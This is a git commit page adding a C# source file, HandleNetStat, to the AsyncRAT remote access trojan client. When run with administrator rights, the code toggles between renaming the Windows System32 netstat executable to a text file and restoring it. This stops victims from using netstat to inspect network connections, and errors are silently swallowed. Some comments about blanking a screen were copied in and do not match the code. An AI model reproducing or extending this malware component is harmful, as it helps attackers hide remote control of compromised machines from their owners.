Created HandleNetStat Function
This commit is contained in:
parent
fd4d1e4ff0
commit
5dc5eb697d
39
AsyncRAT-C#/Client/Handle Packet/HandleNetStat
Normal file
39
AsyncRAT-C#/Client/Handle Packet/HandleNetStat
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
using Client.Helper;
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Client.Handle_Packet
|
||||||
|
{
|
||||||
|
class HandleNetStat
|
||||||
|
{
|
||||||
|
static bool switcher = false;
|
||||||
|
public static void RunNetStat()
|
||||||
|
{
|
||||||
|
//light switch logic CopyPasta by MrDevBot
|
||||||
|
if (!Methods.IsAdmin()) return; //if we are not admin return
|
||||||
|
|
||||||
|
if (switcher == false) //The current screen is NOT blanked and needs to be
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.exe", "C:\\Windows\\System32\\NETSTAT.Backup.txt");
|
||||||
|
}
|
||||||
|
catch(Exception ex) //probably AntiTamper protection or Admin Privilages
|
||||||
|
{ }
|
||||||
|
|
||||||
|
switcher = true; //sets the switch to on for next click
|
||||||
|
return; //returns to calling function
|
||||||
|
}
|
||||||
|
else //the screen is blanked and should be switched back to old
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.Backup.txt", "C:\\Windows\\System32\\NETSTAT.EXE");
|
||||||
|
}
|
||||||
|
catch (Exception ex) //probably AntiTamper protection or Admin Privilages
|
||||||
|
{ }
|
||||||
|
switcher = false; //sets the switch to off for next click
|
||||||
|
return; //returns to calling function
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Loading…
x
Reference in New Issue
Block a user